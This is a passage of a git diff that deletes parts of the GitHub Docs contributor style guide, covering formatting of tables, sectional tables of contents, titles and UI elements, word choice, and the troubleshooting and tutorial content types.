to them. For example, in [AUTOTITLE](/enterprise-cloud@latest/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/streaming-the-audit-log-for-your-enterprise#setting-up-streaming-to-amazon-s3) people will probably only set up audit log streaming for one provider, so the sectional TOC in "Setting up audit log streaming" allows people to select their provider and navigate to the relevant content without reading the entire section. - -Do not add a sectional TOC if `H3` or `H4` headers are used only to group content and all information could be of relevance to a reader. For example, in [AUTOTITLE](/enterprise-cloud@latest/admin/identity-and-access-management/managing-iam-for-your-enterprise/about-authentication-for-your-enterprise#identifying-the-best-authentication-method-for-your-enterprise), people should read and consider each section as it relates to their enterprise. We do not include a sectional TOC in this article because people should be reading through each section, not picking and choosing between them. Adding a sectional TOC would also force people who use screenreaders or other adaptive technology to tab and scroll through more headers before finding what they need. - -Format sectional TOCs as a list. Include all subsections in the order that they appear in the article and refer to them using the full header title. - -Sectional TOCs must be introduced with a sentence or paragraph that helps people understand how the content is organized and select the section that is most relevant to them. Do not include a sectional TOC directly beneath a header. - -### Example of sectional TOCs - -```markdown -## Setting up the application - -Set up your application according to your operating system. - -* [Setting up for macOS](#setting-up-for-macOS) -* [Setting up for Windows](#setting-up-for-windows) -* [Setting up for Linux](#setting-up-for-linux) - -### Setting up for macOS - -TEXT - -### Setting up for Windows - -The application is supported for all versions of Windows, but the set up steps differ. - -* [Windows 98](#windows-98) -* [Windows Vista](#windows-vista) -* [Windows 11](#windows-11) - -#### Windows 98 - -TEXT - -#### Windows Vista - -TEXT - -#### Windows 11 - -TEXT - -### Setting up for Linux - -TEXT -``` - -## Tables - -Tables are added to the {% data variables.product.prodname_docs %} using Markdown. Because tables can be challenging to read and maintain, make sure that the data in a table is best represented in a table and not another format, like a list, before creating a table. Every row in a table must begin and end with a pipe, `|`. - -### Use tables only for presenting tabular information - -Tables work best for presenting tabular data, such as information that needs to be compared or values with multiple attributes. Do not use tables for simple lists - see the [Lists](#lists) section of this document. - -### Avoid describing table data - -A table’s data and why it is important should be clear from any preceding content, the column headers, and (if needed) the row headers. Avoid unneeded descriptions of the data in a table. If the data in a table is unclear without a lengthy description, consider if your table needs row headers or if the information would be better communicated in a different way. - -For example, in [AUTOTITLE](/actions/hosting-your-own-runners/autoscaling-with-self-hosted-runners#recommended-autoscaling-solutions), a table comparing the features between two supported autoscaling solutions is introduced with the sentence `Each solution has certain specifics that may be important to consider.` The article does not describe any of the different features that are compared because that information is clearly communicated by the table. - -* **Use:** "Different size limits per repository apply depending on your GHES version." -* **Avoid:** "The first row of the table shows the information for GitHub Enterprise Cloud. The second row shows the information for GitHub Enterprise Server." -* **Avoid:** “The table below shows what kind of migration data is exported.” - -### Use proper markup for row and column headers - -Tables in which the first column describes the data values in the table (but is not data itself) need to be marked up with row headers. This is important for assistive technology to understand relationships between cells. - -For example in the following table, in order to make sense of the "Yes" and "No" values in the table, you need to know both the column header (role) and row header (permission). - -<table> - <tr> - <th>Organization permission</th> - <th>Owners</th> - <th>Members</th> - <th>Moderators</th> - <th>Billing managers</th> - <th>Security managers</th> - </tr> - <tr> - <th>Create repositories</th> - <td>Yes</td> - <td>Yes</td> - <td>Yes</td> - <td>No</td> - <td>Yes</td> - </tr> - <tr> - <th>View and edit billing information</th> - <td>Yes</td> - <td>No</td> - <td>No</td> - <td>Yes</td> - <td>No</td> - </tr> - <tr> - <th>Invite people to join the organization</th> - <td>Yes</td> - <td>No</td> - <td>No</td> - <td>No</td> - <td>No</td> - </tr> -</table> - -To add row headers for a Markdown table, wrap the table in the Liquid tags `{% raw %}{% rowheaders %} {% endrowheaders %}{% endraw %}`. For more information about using row headers, see [AUTOTITLE](/contributing/syntax-and-versioning-for-github-docs/using-markdown-and-liquid-in-github-docs#table-row-headers). - -### Include a value for every cell - -Every cell in a table must contain a value. - -For cells with no data, use "None" or "Not applicable". Do not use "NA" or "N/A". - -For tables with row headers, the first cell (cell "A1") should describe the row headers to help people understand the whole table. However, if doing this would make the table less clear or add redundant information, you can leave this cell empty. For example, in the article [AUTOTITLE](/actions/automating-builds-and-tests/building-and-testing-powershell#powershell-module-locations), the first cell could be labeled as "Modules", but since each row header already includes the word "module", this header would repeat information that does not add descriptive value to understanding the table as a whole. - -### Use clear, consistent symbols and labels - -For tables that use symbols: - -* Populate all cells. For example in a permissions table, do not mark only the cells for things that require a permission. -* Use octicons or SVG. Do not use emoji. For more information about octicons, see [AUTOTITLE](/contributing/syntax-and-versioning-for-github-docs/using-markdown-and-liquid-in-github-docs#octicons). -* Use a [check mark](https://primer.style/octicons/icon/check-16) for affirmative values ("Yes", "Required", "Supported") and a [cross](https://primer.style/octicons/icon/x-16) for negative values ("No", "Optional", "Unsupported"). -* Use `aria-label` to describe the meaning of the symbol, not its visual characteristics. For example, "Required", not "Check mark icon". - -Where table data is not truly binary (every value is either "Yes" or "No", for example), text values may be needed in addition to, or instead of, symbols. For example on the page [AUTOTITLE](/support/learning-about-github-support/about-github-support), some features are marked as "Available to purchase". - -### Use footnotes sparingly - -See [Footnotes](#footnotes). - -### Align table content consistently - -All columns in a table should be left-aligned, except for columns containing only octicons which should be center-aligned. If a column contains both text and octicons, use center alignment. - -Table content is left-aligned by default. Use Markdown table formatting, colons (`:`) to either the right or left of the dashes in the header row, to specify the alignment of each column. Read [AUTOTITLE](/get-started/writing-on-github/working-with-advanced-formatting/organizing-information-with-tables#formatting-content-within-your-table) for more information. - -The following example shows part of a table from [AUTOTITLE](/code-security/dependabot/working-with-dependabot/dependabot-options-reference). - -<table> -<thead> -<tr> -<th align=left>Option</th> -<th align=center>Required</th> -<th align=center>Security Updates</th> -<th align=center>Version Updates</th> -<th align=left>Description</th> -</tr> -</thead> -<tbody> -<tr> -<td align=left><code>package-ecosystem</code></td> -<td align=center> -{% octicon "check" aria-label="Supported" %} -</td> -<td align=center> -{% octicon "x" aria-label="Not supported" %} -</td> -<td align=center> -{% octicon "check" aria-label="Supported" %} -</td> -<td align=left>Package manager to use</td> -</tr> -<tr> -<td style="text-align:left"><code>directory</code></td> -<td align=center> -{% octicon "check" aria-label="Supported" %} -</td> -</td> -<td align=center> -{% octicon "x" aria-label="Not supported" %} -</td> -<td align=center> -{% octicon "check" aria-label="Supported" %} -</td> -</td> -<td align=left>Location of package manifests</td> -</tr> -<tr> -<td style="text-align:left"><code>schedule.interval</code></td> -<td align=center> -{% octicon "check" aria-label="Supported" %} -</td> -</td> -<td align=center> -{% octicon "x" aria-label="Not supported" %} -</td> -<td align=center> -{% octicon "check" aria-label="Supported" %} -</td> -</td> -<td align=left>How often to check for updates</td> -</tr> -</tbody> -</table> - -The table is generated with the following alignment syntax. - -```text -| Option | Required | Security Updates | Version Updates | Description | -|---------------------|:--------:|:----------------:|:---------------:|--------------------------------| -| `package-ecosystem` |{% raw %}{% octicon "check" aria-label="Supported" %}|{% octicon "x" aria-label="Not supported" %}|{% octicon "check" aria-label="Supported" %}{% endraw %}| Package manager to use | -| `directory` |{% raw %}{% octicon "check" aria-label="Supported" %}|{% octicon "x" aria-label="Not supported" %}|{% octicon "check" aria-label="Supported" %}{% endraw %}| Location of package manifests | -| `schedule.interval` |{% raw %}{% octicon "check" aria-label="Supported" %}|{% octicon "x" aria-label="Not supported" %}|{% octicon "check" aria-label="Supported" %}{% endraw %}| How often to check for updates | -``` - -## Titles - -Use sentence casing for titles. - -## Short titles - -We use short titles to populate the sidebar navigation. Since short titles appear in the sidebar navigation, they can use context to convey meaning and be slightly less precise than full titles. The goal of short titles is to help people find the content that they are looking for without having sidebar navigation items that are too long. Short titles give people contextual understanding of an article and align to the following standards. - -* Short titles are 2-3 words long. - * For categories, short titles must be less than 27 characters. - * For map topics, short titles must be less than 30 characters. - * For articles, short titles must be less than 31 characters and are ideally between 20 and 25 characters. -* Short titles use the base form of verbs instead of gerunds. - * **Use:** "Configure notifications" instead of "Configuring notifications." -* Short titles for categories, map topics, and articles can omit product and feature names if it is clear what product or feature they relate to. - * **Use:** "Configure notifications" as the short title for [AUTOTITLE](/code-security/dependabot/dependabot-alerts/configuring-notifications-for-dependabot-alerts) since the article is in the "{% data variables.product.prodname_dependabot_alerts %}" map topic. -* Short titles do not introduce new words that are not in the full title. -* Short titles should be parallel to short titles for similar content. - * **Use:** "Organizations and teams" and "Enterprise accounts" - * **Avoid:** "Organizations and teams" and "Managing enterprise accounts" - -Writing short titles can be challenging. To help get short titles under the character count, consider the short title in context. Remove any repeated words if possible and any product or feature names that are in the map topic or category that the content belongs to. - -## Site policy content - -Do not use reusables or variables in site policy content. Site policy articles are legal documents and must have a human-readable source. - -Site policy content otherwise uses the same style and content models as the rest of {% data variables.product.prodname_docs %}. - -## User interface elements - -### Boldface - -Use bold to describe UI elements that can be interacted with. -* In the left sidebar, click **Billing**. -* Look in the merge box at the bottom of the pull request's **Conversation** tab. -* Next to **Title**, add a descriptive label for your new key. - -### Branch names - -Use code formatting for branch names. -* `main` -* `USERNAME.github.io` - -### Buttons - -Format button names in bold and, whenever possible, omit the word “button.” To describe using a button, write “click”, not push or press. -* **Use:** Click **Pull request**. -* **Avoid:** Press the Pull request button. - -### Checkboxes - -Format checkbox names in bold and omit the word “checkbox.” To describe choosing or clearing a checkbox, use “select” or “deselect.” -* **Use:** Select **Enable for all new repositories**. -* **Avoid:** Check the “Enable for all new repositories” checkbox. - -### Dynamic text - -Use capital letters to indicate text that changes in the user interface or that the user needs to supply in a command or code snippet. -* **Use:** Click **Add USERNAME to REPONAME**. - -### Lists and list items - -Format lists and clickable list items in bold. To describe interacting with a list, such as a dropdown menu or UI element that expands, regardless of whether the list name is a word or an octicon, write "select." To describe choosing a list item, write "click." -* **Use:** Select the **Backup email addresses** dropdown menu and click **Only allow primary email**. -* **Avoid:** Click the "Backup email addresses" dropdown menu and click **Only allow primary email**. - -### Location - -Describe a user interface element’s location with standard terms. -* Under or above -* Next to -* Upper-left, upper-right, lower-left, lower-right -* Top of the page, bottom of the page, right side of the page, left side of the page - -### Panels - -When possible, avoid referring to panels. Instead, describe what someone needs to do. -* **Use:** Click **View charts and graphs** for your repository, then select the time period you want to view from the dropdown menu. -* **Avoid:** Click the **View charts and graphs** to open the panel for your selected repository, then select the time period you want to view from the dropdown menu. - -If you need to refer to a panel to describe a change to the UI or to explain how to interact with the UI, format the panel name as [user interface text](#user-interface-text). Only include the word panel if it adds clarity or if the panel has no name in the UI. - -* **Use:** In the "Security coverage" panel, select **Enable** or **Disable**. -* **Use:** In the panel, select **Enable** or **Disable**. - -### Radio buttons - -Format radio button labels in bold and omit the words “radio button” or any other descriptor. To describe using a radio button, write "select." - -### Repository names - -Style repository names in monospace font using backticks. Provide a link to repositories when people are expected to navigate to them. -* **Use:** See the [`github/docs`](https://github.com/github/docs) repository for more information. - -### Responsive elements - -We only document the responsive states of UI elements when they create ambiguity or confusion. If a task is unclear because of a responsive UI element, describe the interaction that someone must do to achieve the goal of the task. Do not just describe the visual state of the UI element. - -* **Use:** Click **Security**. If Security is not visible, click **⋮** to expand the repository menu. - -### User interface text - -When referencing text in the user interface, reproduce the text exactly. Use quotation marks to surround UI text that cannot be interacted with. -* **Use:** Under “IP allow list”, click **Edit**. - -### More resources - -Microsoft Style Guide: -* [Formatting text in instructions](https://docs.microsoft.com/style-guide/procedures-instructions/formatting-text-in-instructions) - -## Videos - -You may add videos to reinforce text-based information but videos should never replace written content. Videos are inaccessible to some users and are also difficult to find by searching. - -Videos on the GitHub Docs website must be well-produced and contain fewer barriers for people with disabilities, and conform to our content model for videos. For more information, see [About using videos in GitHub Docs](/contributing/writing-for-github-docs/using-videos-in-github-docs). - -## Voice and tone - -Use clear, simple language that’s approachable for a wide range of readers. Be authentic, empathetic, and confident with your writing. - -Write for your audience: some jargon and technical terms are necessary, but don't rely on the assumption that every reader has the same level of technical expertise. - -Use the active voice whenever possible. Passive voices is acceptable when you need to emphasize the object of an action. - -We are a global developer community. Avoid turns of phrase, idioms, and slang that are specific to a particular region or country. - -To learn more about writing approachable content, see “[Microsoft's brand voice: Above all, simple and human](https://docs.microsoft.com/style-guide/brand-voice-above-all-simple-human) and “[Top 10 tips for Microsoft style and voice](https://docs.microsoft.com/style-guide/top-10-tips-style-voice).” - -## Word choice and terminology - -For general guidance and GitHub-specific terms, see our [Glossary](/get-started/learning-about-github/github-glossary). For more detailed guidance, see the “[A-Z word list](https://docs.microsoft.com/style-guide)” in Microsoft’s style guide. - -### Abbreviations - -Spell out words except when referring to a word that’s explicitly shortened in the product itself. -* **Use:** Repository -* **Avoid:** Repo -* **Use:** Administrator, people with admin permissions -* **Avoid:** Admins - -Do not use symbols or octicons that aren’t used in GitHub’s user interface. -* **Use:** Click **File**, then click **Edit**. -* **Avoid:** Click **File > Edit**. - -### Accounts - -#### Product names and accounts - -To avoid ambiguity and confusion, do not use product names as adjectives to describe accounts in any of our products. Instead, clarify the account type and choose clearer phrasing that avoids conflating accounts and products. When talking about accounts, only refer to the product name when needed to disambiguate between products. For more information about types of accounts available in GitHub's products, see [AUTOTITLE](/get-started/learning-about-github/types-of-github-accounts). -* **Use:** Your organization on {% data variables.product.prodname_ghe_cloud %} -* **Avoid:** Your {% data variables.product.prodname_ghe_cloud %} account -* **Avoid:** Your {% data variables.product.prodname_ghe_server %} organization -* **Use:** You can highlight your work on {% data variables.product.prodname_ghe_server %} by sending the contribution counts to your GitHub.com profile. - -#### Individual people's accounts on {% data variables.product.company_short %} - -We refer to an account that an individual person signs into in various ways depending on the context. - -Unless the content is about administering an enterprise product, describe an individual person's account on {% data variables.product.company_short %} as a "personal account." This creates consistency with the UI and prevents readers from being confused by seeing two terms that mean the same thing. - -* **Use:** Managing scheduled reminders for your personal account -* **Avoid:** Managing scheduled reminders for your user account - -#### Accounts for enterprise products - -With {% data variables.product.company_short %}'s enterprise products, administrators manage an enterprise account. An enterprise account can own multiple organizations, and people's user accounts can be members of the organizations. For more information, see the "Roles in an enterprise" article for each product. - -* [{% data variables.product.prodname_ghe_cloud %}](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise) -* [{% data variables.product.prodname_ghe_server %}](/enterprise-server/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise) - -If the reader manages an enterprise account, and you're describing the people's accounts that they manage, use "user account." This applies to the following products. - -* {% data variables.product.prodname_ghe_cloud %} with {% data variables.product.prodname_emus %} - * **Use:** With {% data variables.product.prodname_emus %}, you can create and manage user accounts for your enterprise members. - * **Avoid:** With {% data variables.product.prodname_emus %}, you can create and manage the personal accounts for your enterprise members. -* {% data variables.product.prodname_ghe_server %} - * **Use:** If you need to temporarily take over a user account… - * **Avoid:** If you need to temporarily take over a personal account… - -The following documentation should reference "user accounts." - -* The [AUTOTITLE](/enterprise-cloud@latest/admin) product -* Enterprise-specific billing documentation, like [AUTOTITLE](/enterprise-cloud@latest/billing/managing-your-github-billing-settings/about-billing-for-your-enterprise) -* Content within other products that's intended for an administrative audience, like [AUTOTITLE](/enterprise-cloud@latest/code-security/supply-chain-security/end-to-end-supply-chain/securing-accounts) in the "Secure coding" product or [AUTOTITLE](/enterprise-cloud@latest/admin/overview/setting-up-a-trial-of-github-enterprise-cloud) in the "Get started" product -* Enterprise-specific API content, like the [AUTOTITLE](/enterprise-cloud@latest/rest/reference/enterprise-admin) REST API reference documentation - -For enterprises on {% data variables.product.prodname_ghe_cloud %} that don't use {% data variables.product.prodname_emus %}, use "personal account" when describing members of organizations owned by the enterprise. - -* **Use:** If you configure SAML SSO, members of your organization will continue to sign into their personal accounts on {% data variables.product.prodname_dotcom_the_website %}. -* **Avoid:** If you configure SAML SSO, members of your organization will continue to sign into their user accounts on {% data variables.product.prodname_dotcom_the_website %}. - -Documentation that describes {% data variables.product.prodname_ghe_cloud %} without {% data variables.product.prodname_emus %} is generally in the [AUTOTITLE](/enterprise-cloud@latest/organizations/managing-saml-single-sign-on-for-your-organization) category. - -#### People's accounts for other services - -When you describe a person's account for a service other than {% data variables.product.company_short %}, such as an integration or authentication provider, use "user account." - -### Acronyms - -Spell out acronyms the first time they’re used in an article, except in titles or headers. - -### Apps - -Use "app" or "application" in general content. -* **Use:** Publish and list your app in {% data variables.product.prodname_marketplace %} - -Use "app" when referring to {% data variables.product.prodname_oauth_apps %} since these are not a product. -* **Use:** Register an {% data variables.product.prodname_oauth_app %} -* **Avoid:** Register an OAuth App - -Use "App" when referring to {% data variables.product.prodname_github_apps %} since this is a product. -* **Use:** Register a {% data variables.product.prodname_github_app %} - -{% data variables.product.prodname_github_apps %} and {% data variables.product.prodname_oauth_apps %} consist of two parts: the app registration, and the code that makes the app do something. - -* To refer to just the {% data variables.product.prodname_github_app %} settings/configuration in the {% data variables.product.prodname_dotcom %} UI, use terminology like "register" and "{% data variables.product.prodname_github_app %} registration". - * **Use:** Register a {% data variables.product.prodname_github_app %} - * **Use:** Update a {% data variables.product.prodname_github_app %} registration - * **Avoid:** Create a {% data variables.product.prodname_github_app %} - * **Avoid:** Modify a {% data variables.product.prodname_github_app %} - -* To refer to just the code for the app, use terminology like "code for your app" or "your app's code". - * **Use:** code for your app - * **Use:** code for your {% data variables.product.prodname_github_app %} - * **Use:** your app's code - * **Avoid:** Your {% data variables.product.prodname_github_app %} - * **Avoid:** Your {% data variables.product.prodname_oauth_app %} - -* To refer to the whole app collectively (registration + code), refer to it as a {% data variables.product.prodname_github_app %} or {% data variables.product.prodname_oauth_app %}. - -{% data variables.product.prodname_github_apps %} can be installed on organization and user accounts. To refer to an installation of the app, use "{% data variables.product.prodname_github_app %} installation" instead of "{% data variables.product.prodname_github_app %}." - -### Currency - -When referring to dollars, cents, amounts of currency or using the `$` sign, ensure the currency used is defined even if the amount is zero. Use the [ISO standard currency name](https://www.iso.org/iso-4217-currency-codes.html), and the [ISO standard currency code](https://www.six-group.com/en/products-services/financial-information/data-standards.html#scrollTo=currency-codes) where possible. - -Use lowercase for currency names, but capitalize the reference to the country or region. -* **Use:** US dollar. -* **Avoid:** US Dollar, $USD dollar. - -Use uppercase for currency codes. -* **Use:** USD. - -Where there is only one reference in an article, use the currency name without a `$` sign preceding the amount. -* **Use:** `10 US dollars` for a single reference to currency. - -Where an article contains several references to the same currency, ensure that the first reference uses the currency name without a `$` sign preceding the amount and includes the currency code in parentheses following the currency name. - -For subsequent references to currency in an article or where appropriate (such as when space is a consideration, or when several amounts are presented in a table or list), include the `$` sign preceding the amount and use the ISO standard currency code following the amount. -* **Use:** `10 US dollars (USD)` for the first reference, and `$0.25 USD` for subsequent references. -* **Avoid:** `$10 US dollars (USD)`, `USD$0.25`. - -Where the first reference concerns cents or a non-dollar amount, capitalize the reference to the country or region of the currency used in parentheses immediately after the first reference. Subsequent currency references are treated using the guidelines above. - -* **Use:** `99 cents (US currency)` for the first reference, and `99 cents` for subsequent references. -* **Avoid:** `$0.99 (US currency)`, `$0.99 USD cents`, `USD$0.99 cents`. - -### Permissions - -A **permission** is the ability to perform a specific action. For example, the ability to delete an issue is a permission. - -A **role** is a set of permissions that can be assigned to a user. Roles exist at different levels. - -* Accounts (e.g., organization owner, billing manager for an enterprise account) -* Resources (e.g., write for a repository, admin for a security advisory) -* Teams (e.g., team maintainer) - -A person's **access** refers generally to all the abilities the person has in a particular context, regardless of which roles or individual permissions those abilities come from. - -Only use **permission** or **role** when the distinction between the two is important. Otherwise, use **access**. - -* **Use:** To create a custom repository role, you choose an inherited role and then add individual permissions. -* **Use:** Managing a team's access to your organization's repository -* **Use:** If your team membership gives you a different level of access than your role as organization owner… -* **Use:** People with write access can… -* **Avoid:** People with the write access can... -* **Avoid:** People with the write role can… -* **Avoid:** People with write permissions can… -* **Avoid:** People with write privileges can… - -When specifying the access required to take an action, refer only to the role at the same level as the action. For example, you need admin access to a repository, which is a repository-level role, to configure protected branches. You can get admin access to a repository by being an organization owner, an organization-level role, but the repository-level role is what actually governs your ability to take the action, so that is the only role that should be mentioned. - -* **Use:** People with write access to a repository can do X to the repository. -* **Avoid:** Organization owners and people with write access can do X to the repository. - -For more information about word choice for permissions statements, see [AUTOTITLE](/contributing/style-guide-and-content-model/contents-of-a-github-docs-article#permissions-statements) in the content model. - -### Prepositions - -Avoid ending a sentence with a preposition unless the rewritten sentence would sound awkward or too formal. - -### Product names - -See the “[Product names](#product-names)” section of this guide. - -### Terms to use or avoid - -| Use | Avoid | -| --- | --- | -| person | user, customer | -| terminal | shell | -| username | login | -| sign in | log in, login | -| sign up | signup | -| recommended limit | soft limit | -| email | e-mail | -| frontmatter | front matter, front-matter | -| on {% data variables.product.company_short %} | on a remote repository | -| press (a key) | hit, tap | -| type (in the user interface) | enter (in the user interface) | -| enter (in the command line) | type (in the command line) | - -## Word choice - -### Ambiguous verbs - -When a task is required, or one option is preferred to another, avoid using ambiguous modal auxiliary verbs such as "may," "might," "ought," "should," "could," "would," and "can." These verbs can be interpreted as either a command or a suggestion. Instead, use verbs that clearly indicate whether the action is required or optional. If something is an option or suggestion, you can use these verbs so long as you make it clear that the action is optional. - -* **Use:** You can decide which keyboard shortcuts to use. -* **Use:** Use the `git clone` command to clone a repository. -* **Avoid:** You can use the `git clone` command to clone a repository. -* **Avoid:** You could delete the branch. - -### Invisible plurals - -Avoid invisible plurals, which are words that have ambiguous meaning because they can be interpreted as singular or plural. For example, "file retrieval" could refer to retrieving a single file or multiple files. - -* **Use:** After the file is retrieved, select where to save it. -* **Avoid:** After file retrieval, select where to save it. - -### Nominalizations - -Avoid nominalizations, which are nouns created from verbs or adjectives. Nominalizations can make sentences longer, harder to understand, and harder to translate. - -* **Use:** After the workflow concludes, the package will be visible. -* **Avoid:** After the workflow has reached its conclusion, the package will be visible. - -### Strings of nouns - -Avoid stacked modifiers (strings of nouns), which can lead to incorrect translations because translations may not be able to tell which word is modifying the other. You can rephrase the string of nouns using a preposition. If using a stacked modifier is essential, make sure the background information and context are clear so that readers and the translator can understand what is being modified. -* **Use:** Default source settings for public repositories -* **Avoid:** Public repository default source settings - -### Vague nouns and pronouns - -If a pronoun seems to refer to more than one antecedent, either reword the sentence to make the antecedent clear or replace the pronoun with a noun to eliminate ambiguity. - -* **Use:** After you make your final commit to your branch and merge your pull request, you can delete your branch. -* **Avoid:** After you make your final commit to your branch and merge your pull request, you can delete it. diff --git a/content/contributing/style-guide-and-content-model/troubleshooting-content-type.md b/content/contributing/style-guide-and-content-model/troubleshooting-content-type.md deleted file mode 100644 index 042c4f15d315..000000000000 --- a/content/contributing/style-guide-and-content-model/troubleshooting-content-type.md +++ /dev/null @@ -1,46 +0,0 @@ ---- -title: Troubleshooting content type -intro: 'Troubleshooting content includes built-in errors we expect people to encounter, common problems reported to support, and situations people might encounter while completing tasks.' -versions: - fpt: '*' - ghec: '*' - ghes: '*' ---- - -Use troubleshooting sections in guides or procedural articles to keep solutions close to procedures. Work with support and product managers to surface common errors and include them in the documentation. - -## Known issues - -Known issues are a subset of troubleshooting content specifically designed to respond to bugs, UX/UI issues, and other product quirks that generate a high volume of support tickets. Where troubleshooting content can describe errors that people _might_ encounter, known issues explain problems that people _will_ encounter. - -Like all troubleshooting content, known issues can be a section in an article or a standalone article. If a known issue applies to a specific article, document it in that article. If a known issue applies to a specific set of articles or conceptual grouping of features, or if a product or feature has multiple known issues that should be grouped together, create a dedicated "Known issues with NAME" article. - -Known issue content for a product or feature does not need to be comprehensive. Unlike other troubleshooting content, some known issues may not have workarounds. The goal of documenting an issue without a workaround is to help people confirm that the issue exists and save them time searching for a solution that doesn't exist yet after {% data variables.product.prodname_dotcom %} has already determined there isn't a workaround. - -Product and feature owners (PMs and EMs) should help plan and review known issue content. - -Use known issues to explain the following situations. - -* Product behavior that regularly contradicts people's expectations, but is not yet prioritized for remediation. -* Behavior that regularly prevents the use of the product or feature for a common purpose. -* Rare or severe bugs that {% data variables.product.prodname_dotcom %} has not yet prioritized fixing, and that are not explained in the product or by existing content on {% data variables.product.prodname_docs %}. - -## How to write troubleshooting content - -* Use any {% data variables.product.prodname_docs %} content type to create troubleshooting sections. -* Whenever possible, keep troubleshooting content contained within procedural content or guides. -* You can create a troubleshooting article when it makes sense to keep it separate, such as when there’s a large amount of troubleshooting content on a particular topic. -* You can create a troubleshooting map topic if a product or feature has many troubleshooting articles, for example [AUTOTITLE](/authentication/troubleshooting-ssh). - -## Title guidelines for troubleshooting content - -* Troubleshooting FEATURE -* Error: ERROR NAME -* Known issues for PRODUCT - -## Examples of troubleshooting content - -* [AUTOTITLE](/authentication/troubleshooting-ssh) -* [AUTOTITLE](/enterprise-server@latest/admin/configuration/configuring-network-settings/using-github-enterprise-server-with-a-load-balancer#troubleshooting-connectivity-through-a-load-balancer) -* [Known issues](/enterprise-server@3.7/admin/release-notes#3.7.8-known-issues) in the {% data variables.product.prodname_ghe_server %} release notes -* [AUTOTITLE](/authentication/troubleshooting-ssh/error-were-doing-an-ssh-key-audit) diff --git a/content/contributing/style-guide-and-content-model/tutorial-content-type.md b/content/contributing/style-guide-and-content-model/tutorial-content-type.md deleted file mode 100644 index d1d149e1ae44..000000000000 --- a/content/contributing/style-guide-and-content-model/tutorial-content-type.md +++ /dev/null @@ -1,60 +0,0 @@ ---- -title: Tutorial content type -intro: Tutorials are useful when someone has a basic understanding of the product and is interested in extending their understanding to solve a specific problem -versions: - fpt: '*' - ghec: '*' - ghes: '*' ---- - -Tutorials help people learn about products and solve real world problems by guiding them through the entire workflow to complete a task. Tutorials are more conversational in tone than other content. A tutorial feels like a developer-to-developer conversation while remaining accessible to readers with varied technical knowledge. Products with tutorials must already have a quickstart. For bite-sized workflows, use the quickstart model instead. - - Tutorials are for people who want expert advice and a detailed discussion of best practices related to their problem. Tutorials also help people who've implemented similar solutions in the past with other products use {% data variables.product.prodname_dotcom %}. Tutorials can also help people validate whether the solution is appropriate for their needs. - -We collectively refer to tutorials and quickstarts as "guides" across the site. On `/guides` landing pages, we include tutorials, quickstarts, and certain procedural articles in the list of guides for a doc set. - -## How to write a tutorial - -For the tutorial template, see [AUTOTITLE](/contributing/writing-for-github-docs/templates#tutorial-article-template). - -Contents of tutorials: -* Introduction - * Clarifies audience. - * Clearly states prerequisites and prior knowledge needed. - * States what someone will accomplish or build. - * Includes an example of a successful project. - * Does not include the expected amount of time that it may take someone to complete the task - this depends on the experience level of the person completing the tutorial. -* Procedural sections - * Based on the tutorial's audience, the steps can be less explicit and formal than those used in procedural content. You do not have to use existing reusables to form these steps if the audience doesn’t require that level of detail. - * Use: "From your profile, click **Settings**, and then click **Developer settings**.” - * Avoid: In the upper-right corner of any page, click your profile photo, then click **Settings**. In the left sidebar, click **Developer settings**. - * Link out to other articles or resources rather than replicating them, to avoid interrupting the flow of information in the tutorial. - * Give visual cues. Use code blocks and screenshots heavily to help reassure people that they are performing the correct actions. - * Provide real examples. - * For example, do not tell someone to "Enter a commit message" - instead, give them an appropriate example commit message that matches the previous steps. -* Troubleshooting - * Acknowledge what may go wrong in the task and list a few common problems readers might run into with solutions. -* Conclusion - * Review what was accomplished or built. Refer back to the project provided in the introduction as an example of a successful project. -* Next steps - * Include 2-3 actionable next steps that someone can take after completing the tutorial. Link off to other related information like: - * Projects on {% data variables.product.prodname_dotcom %} that illustrate the introduced concepts - * Relevant information on docs.github.com<!-- markdownlint-disable-line search-replace --> - * Relevant {% data variables.product.prodname_learning %} - * Relevant published talks, blog posts, or Community Forum series posts by Hubbers - -## Title guidelines for tutorials - -* Follow the title guidelines for procedural articles. -* Do not use "tutorial” or "guide” in the title. - -## Examples of tutorials - -Tutorials: -* [AUTOTITLE](/actions/managing-issues-and-pull-requests/adding-labels-to-issues) -* [AUTOTITLE](/actions/deployment/deploying-xcode-applications/installing-an-apple-certificate-on-macos-runners-for-xcode-development) - -Language and framework guides: -* [AUTOTITLE](/actions/automating-builds-and-tests/building-and-testing-nodejs) -* [AUTOTITLE](/actions/automating-builds-and-tests/building-and-testing-python) -* [AUTOTITLE](/actions/publishing-packages/publishing-java-packages-with-maven) diff --git a/content/contributing/writing-for-github-docs/about-githubs-documentation-fundamentals.md b/content/contributing/writing-for-github-docs/about-githubs-documentation-fundamentals.md deleted file mode 100644 index 71f3d9115dda..000000000000 --- a/content/contributing/writing-for-github-docs/about-githubs-documentation-fundamentals.md +++ /dev/null @@ -1,35 +0,0 @@ ---- -title: About GitHub's documentation fundamentals -shortTitle: Documentation fundamentals -intro: 'All content published on {% data variables.product.prodname_docs %} must meet these fundamental requirements.' -versions: - fpt: '*' - ghec: '*' - ghes: '*' ---- - -## About {% data variables.product.github %}'s documentation fundamentals - -These fundamentals are required for {% data variables.product.github %} documentation. Use the lists below to help ensure your contributions are accurate, accessible and inclusive, and consistent. - -## Accurate - -Documentation is correct and accurate. - -* Ensure that the content is free from factual errors. -* Ensure that the content is free from spelling and formatting errors. - -## Accessible and inclusive - -Documentation is up to date with the latest accessibility standards, and is written to be inclusive and translation-friendly. - -* Ensure content adheres to the accessibility and screenshot guidelines. For more information, see [AUTOTITLE](/contributing/writing-for-github-docs/creating-screenshots). -* Ensure content can be successfully translated. For more information, see [AUTOTITLE](/contributing/writing-for-github-docs/writing-content-to-be-translated). - -## Consistent - -Documentation maintains a consistent voice, tone, and style throughout, creating a cohesive experience for readers. - -* Ensure content adheres to the {% data variables.product.prodname_docs %} style guide. For more information, see [AUTOTITLE](/contributing/style-guide-and-content-model/style-guide). -* Apply consistent terminology and naming conventions. -* Use branding elements (for example, product and feature names, logos, color schemes) consistently in the content. diff --git a/content/contributing/writing-for-github-docs/about-githubs-documentation-philosophy.md b/content/contributing/writing-for-github-docs/about-githubs-documentation-philosophy.md deleted file mode 100644 index d72baa75483c..000000000000 --- a/content/contributing/writing-for-github-docs/about-githubs-documentation-philosophy.md +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: About GitHub's documentation philosophy -shortTitle: Documentation philosophy -intro: 